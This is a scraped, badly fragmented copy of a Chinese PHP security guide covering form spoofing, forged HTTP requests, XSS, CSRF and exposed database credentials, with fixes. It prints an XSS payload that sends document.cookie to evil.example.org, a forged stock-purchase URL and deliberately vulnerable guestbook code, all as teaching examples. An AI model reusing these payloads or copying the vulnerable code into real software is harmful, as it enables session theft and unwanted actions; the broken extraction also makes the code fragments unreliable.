PHP安全指南0609Word文档格式.docx
- 文档编号:17552713
- 上传时间:2022-12-07
- 格式:DOCX
- 页数:17
- 大小:27.75KB
PHP安全指南0609Word文档格式.docx
《PHP安全指南0609Word文档格式.docx》由会员分享,可在线阅读,更多相关《PHP安全指南0609Word文档格式.docx(17页珍藏版)》请在冰豆网上搜索。
green"
green<
blue"
blue<
/select>
inputtype="
submit"
/>
/form>
设想一个攻击者保存了这段HTML并修改为:
http:
//example.org/process.php"
text"
name="
这个新的表单可以存放在任何地方(web服务器并不是必须的,只要浏览器可以访问的即可),并可以随意使用。
action属性设定的绝对URL将POST请求发到相同的地方。
这使得去除客户端限制变得非常容易,不论是表单限制或者客户端脚本进行的最基本的数据过滤。
在这个例子中,$_POST['
color'
]不再被限制为red,green或blue。
通过一个非常简单的操作,任何用户都可以创建一个合适的表单用于提交任意数据到表单中的URL。
2、HTTP请求欺骗
一个更加强大,但是不太方便的方法是伪造HTTP请求。
在前面讨论的表单例子中,当用户选择了颜色,HTTP请求的结果应当如下所示(假设选择了red):
POST/process.phpHTTP/1.1
Host:
example.org
Content-Type:
application/x-www-form-urlencoded
Content-Length:
9
color=red
telnet工具可以用于执行类似的测试。
下面的例子简单演示了用GET请求:
$telnet80
Trying64.246.30.37...
Connectedto.
Escapecharacteris'
^]'
.
GET/HTTP/1.1
HTTP/1.1200OK
Date:
Wed,21May200412:
34:
56GMT
Server:
Apache/1.3.26(Unix)mod_gzip/1.3.26.1aPHP/4.3.3-dev
X-Powered-By:
PHP/4.3.3-dev
Last-Modified:
Content-language:
en
Set-Cookie:
COUNTRY=USA%2C12.34.56.78;
expires=Wed,28-May-0412:
56GMT;
path=/;
domain=
Connection:
close
Transfer-Encoding:
chunked
text/html;
charset=ISO-8859-1
2083
!
DOCTYPEHTMLPUBLIC"
-//W3C//DTDHTML4.01Transitional//EN"
...
当然,可以编写自己的客户端代替在telnet中手工输入请求。
下面的例子演示了如何用PHP工造类似的请求。
?
php
$http_response='
'
;
$fp=fsockopen('
80);
fputs($fp,"
GET/HTTP/1.1\r\n"
);
\r\n\r\n"
while(!
feof($fp))
{
$http_response.=fgets($fp,128);
}
fclose($fp);
echonl2br(htmlentities($http_response));
构造自己的HTTP请求带来了相当的灵活性,这也说明为什么服务器端数据过滤显得如此必要。
没有服务器端数据过滤的话,任何来自外部的数据都是没有保证的。
3、跨站脚本
在媒体的帮助下,跨站脚本(XSS)成为了大家关注的焦点,当然它是绝对应当关注的。
XSS是web应用中最常见的安全隐患,许多流行的开放源代码的PHP应用程序受到XSS隐患的困扰。
XSS攻击发生在下面的情况下:
对于可获得用户信任的特定站点。
用户没有必要用很高的等级信任任何网站,但是浏览器需要。
例如,当浏览器在请求中发送cookie,则意味着信任目标网站。
对于不同的网站,用户可能有不同的浏览行为或者不同的安全防范等级。
通常包含显示外部数据的网站。
有高风险的应用包含论坛、web邮件以及任何会显示出来的聚合内容(如RSSfeeds)
攻击者可控制的内容注入。
当外部数据没有很好的过滤时,可能会显示攻击者需要的内容。
这意味着攻击者可以更改服务器上的代码。
这是如何发生的?
如果显示一个从外部获得的没有很好过滤的内容,则会产生XSS安全隐患。
外来数据不仅限于客户端的数据。
同时也包含显示在web邮件上的电子邮件、广告条、聚合blog以及类似的东西。
任何从外部获得的,不在代码中的信息都是外部数据,这意味着多数数据都是外部数据。
考虑下面这个最简单的留言版:
form>
message"
br/>
if(isset($_GET['
message'
]))
$fp=fopen('
./messages.txt'
'
a'
fwrite($fp,"
{$_GET['
]}<
"
fclose($fp);
readfile('
这个留言版在用户输入的内容后添加<
然后添加到一个文件,并显示当前文件内容。
设想如果用户输入了下面的信息:
script>
document.location='
//evil.example.org/steal_cookies.php?
cookies='
+document.cookie
/script>
下一个开启了JavaScript的用户访问这个留言版时将被重定向到evil.example.org,同时任何关于当前网站的cookie信息都被包含在URL的表达式中。
当然,一个真正的攻击者不会缺少创造力或者JavaScript的知识。
如果可能请提供一些更好的例子(更邪恶一点?
)。
有什么可以做的?
XSS事实上非常容易防范。
困难来自于允许外部输入的(如其他用户)HTML或者客户端脚本不受限制的显示,但是关于这个的解决方案实现起来也不是非常困难。
下面的方法可降低XSS的风险:
过滤所有外部数据。
如同之前所提到的,数据过滤是最重要的方法。
通过验证所有进出应用程序的外部数据,可以降低大部分XSS隐患。
使用现有函数。
让PHP协助完成过滤逻辑。
如函数htmlentities(),strip_tags(),和utf8_decode()是很有用的。
避免重写PHP已经拥有的函数。
不光是PHP函数更加快速,而且它们经过更多的测试,带来隐患的可能更小。
使用白名单:
假设数据不合法直到可以证明它合法。
这包含验证长度以及确定只含有合法字符。
例如,如果用户输入了英文姓名,只有字母和空格是允许的。
发生错误时给出适当的提示。
而名字O'
Reilly和Berners-Lee会被认为不合法,修补这个问题非常简单:
向白名单中添加两个字符。
拒绝合法的数据总是比接受非法的数据要强。
使用严格的名字转换:
如同之前所提到的,名字转换可以帮助开发者容易的区分过滤的和未过滤的数据。
让事情变得更容易和清晰对于开发者来说非常重要。
缺乏清晰度会引起混乱,这将带来隐患。
更加安全的留言版如下所示:
$message=htmlentities($_GET['
]);
$message<
仅仅添加了htmlentities()后,留言版变得更加安全。
不应当认为这是彻底安全的,但是这是最简单的方法来提供适当级别的保护。
当然,强烈建议遵循之前讨论的最好的降低XSS风险的方法。
4、伪造跨站请求
忽略名字上的相似程度,伪造跨站请求(CSRF)是几乎完全相反的攻击方式。
XSS是利用用户对网站的信任展开攻击;
CSRF是利用网站对用户的信任展开攻击。
CSRF攻击更加危险,更少遇到(意味着对于开发者没有更多资料),并且比起XSS攻击更加难以防御。
CSRF攻击发生在下面的情况下:
A、对于可获得网站信任的特定用户
多数用户可能不被信任,但是web应用向用户提供特定的权限以便其登录进入应用程序是很普遍的。
拥有很高的特权的用户往往都是受害者(事实上在自己不知道的情况下成为了同谋)。
通常网站信任用户的身份标识。
用户的身份标识拥有着重要的地位。
但是即便有安全的会话管理机制,CSRF攻击仍然能够成功。
而且事实上,对于这种情况CSRF攻击更加有效。
B、攻击者可随心所欲的执行HTTP请求
在CSRF所有攻击方式中包含攻击者伪造一个看起来是其他用户发起的HTTP请求(事实上,跟踪一个用户发送的HTTP请求才是攻击者的目的)。
有一部分技术可以用来完成这个,后面会演示一个使用特别技术的例子。
由于CSRF攻击包含伪造HTTP请求,熟悉底层HTTP协议就变得非常重要。
浏览器是HTTP客户端,而web服务器是HTTP服务器。
客户端通过发送请求初始化一个传输,而服务器通过应答完成这个传输。
一个标准的HTTP请求如下:
User-Agent:
Mozilla/5.0Gecko
Accept:
text/xml,image/png,image/jpeg,image/gif,*/*
第一行是请求行,包含请求的方式,请求的URL(使用相对的URL),和HTTP版本。
其他行是HTTP头,每个头的名字后是一个冒号和一个空格,然后是值。
你可能熟悉使用PHP产生这些信息。
例如,下面的代码可以用于构造这个原始的HTTP请求保存为字符串:
$request='
$request.="
{$_SERVER['
REQUEST_METHOD'
]}"
REQUEST_URI'
SERVER_PROTOCOL'
]}\r\n"
{$_SERVER['
HTTP_HOST'
HTTP_USER_AGENT'
HTTP_ACCEPT'
]}\r\n\r\n"
响应前面的请求的应答如下:
text/html
57
html>
imgsrc="
//example.org/image.png"
/html>
应答的内容就是你在浏览器中查看代码时看到的。
这个应答中的img标签告诉浏览器取得另外一个资源(图象)并呈现在页面上。
浏览器请求这个资源以及其他,下面这个例子关于这个请求:
GET/image.pngHTTP/1.1
这里值得注意。
浏览器请求在img标签的src属性指定的URL,就如同用户手工定向到那里。
浏览器无法明确指出请求的是一个图象。
将这个同之前了解的表单联系在一起,并且考虑一个如同下面的URL:
//stocks.example.org/buy.php?
symbol=SCOX&
quantity=1000
一个表单使用GET提交是无法同图象请求区分开的——两个都可以用相同的URL请求。
如果register_globals开启,表单操作就不十分重要了(除非开发者使用$_POST以及相关)。
危险似乎已经变得清晰了。
另外一个情况使得CSRF如此严重的原因是任何URL的cookie都是包含在对该URL的请求中。
一个准备同stocks.example.org建立联系的用户(比如已经登录)可以通过访问如同前面示例中的含有img标签的页面来购买1000份的SCOX。
考虑下面这个表单(假想的):
//stocks.example.org/form.html:
p>
立刻购买!
/p>
/buy.php"
代码:
symbol"
数量:
quantity"
如果用户输入SCOX作为代码,1000作为数量,并且提交表单,浏览器发送的请求如下:
GET/buy.php?
quantity=1000HTTP/1.1
stocks.example.org
Cookie:
PHPSESSID=1234
在本例中包含了Cookie头用于说明使用cookie作为session标识。
如果一个img标签指向一同一个URL,请求这个URL的时候相同的cookie也会被发送,服务器处理这个请求时无法区分是不是真正的订单。
有一些可以保护应用不受CSRF攻击的办法:
在表单中使用POST而不是GET。
表单的method属性中指定为POST。
当然,这并不适合所有的表单,但对于执行任务的表单来说是没有问题的,例如购买商品。
事实上,HTTP标准要求考虑到GET的安全。
使用$_POST而不是依赖register_globals。
如果信任register_globals并使用表单变量$symbol和$quantity,那么POST方法对于防范CSRF攻击是没有什么作用的。
同样使用$_REQUEST对于防范CSRF攻击也没有作用。
不要只留意易用性:
虽然考虑用户体验如易用性是很好的,但是过分的易用性可能引起严重的后果。
虽然“只点一次”可以做得相当安全,但是简单的处理可能带来CSRF风险。
留意表单的用途:
CSRF最大的问题是看起来是表单提交的数据实际上不是。
如果用户没有请求带有表单的页面,是否能确定那个表单提交的数据是合法并可信的?
现在我们可以编写更加安全的留言版:
$token=md5(time());
$fp=fopen('
./tokens.txt'
fwrite($fp,"
$token\n"
formmethod="
hidden"
token"
value="
phpecho$token;
?
$tokens=file('
if(in_array($_POST['
token'
],$tokens))
if(isset($_POST['
{
$message=htmlentities($_POST['
}
这个留言版仍然有一些安全问题。
你能否发现它们?
使用时间极为容易预测。
对时间戳进行MD5散列是很简陋的生成随机数码的办法。
更好的方案包含uniqid()和rand()。
更重要的是,攻击者很容易就可获得合法令牌(token)。
只需要访问合法令牌产生并存储的文件,只要在请求中添加令牌,攻击像以前一样简单。
这里是改进的留言版:
session_start();
if(isset($_POST['
])&
&
isset($_SESSION['
if(isset($_SESSION['
$_POST['
]==$_SESSION['
])
$token=md5(uniqid(rand(),true));
$_SESSION['
]=$token;
第三章数据库和SQL
1、暴露数据库信息
多数PHP程序同数据库交互。
通常包含连接到数据库和使用帐户信息进行身份验证:
$host='
example.org'
$username='
myuser'
$password='
mypass'
$db=mysql_connect($host,$username,$password);
这个例子包含连接到数据库的全部信息,并保存为文件db.inc。
它在一个文件里保存了帐户信息,这看起来是非常剩心的。
问题出现在这个文件保存在在根文档(documentroot)下面的某个地方。
这是非常普通的,因为这样使用include和require语句更加简单。
但是这也将导致保露你的数据库帐户信息。
一定要记住,在根文档(documentroot)下的所有东西都有一个URL与之关联。
例如,如果根文档(documentroot)在/usr/local/apache/htdocs,当一个文件存储在/usr/local/apache/htdocs/inc/db.inc时,则可以通过URLhttp:
//example.org/inc/db.inc访问到它。
可以断言多数web服务器将.inc文件当作普通文本对待,暴露账户信息的风险也是显然的。
所有模块中的代码都会暴露是一个大问题,特别是账户信息尤其敏感。
当然,一个简单的解决方案是将所有模块放在根文档之外,这也是很好的方法。
include和require都可以访问文件系统路径,所以没有必要通过URL访问模块。
这是不必要的风险。
如果你无法选择模块保存的位置,也就是说必须在根文档之下,可以在httpd.conf中添加如下内容(假设是Apache):
Files~"
\.inc$"
Orderallow,deny
Denyfromall
/Files>
让PHP引擎处理模块并不是一个好办法。
不论是将扩展名修改为.php还是使用AddType让.inc被认为是PHP文件。
执行内容之外的代码是非常危险的,因为不是预期的行为可能造成未知的后果。
然而,如果你的模块仅仅包含变量赋值(如示例中那样),这个风险会小一些。
保护数据库账户信息最好的方式在DavidSklar和AdamTrachtenberg编写的《PHPCookbook(O'
Reilly)》中有所描述。
创建一个文件/path/to/secret-stuff,只有root可以读取(不是nobody):
SetEnvDB_
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- PHP 安全 指南 0609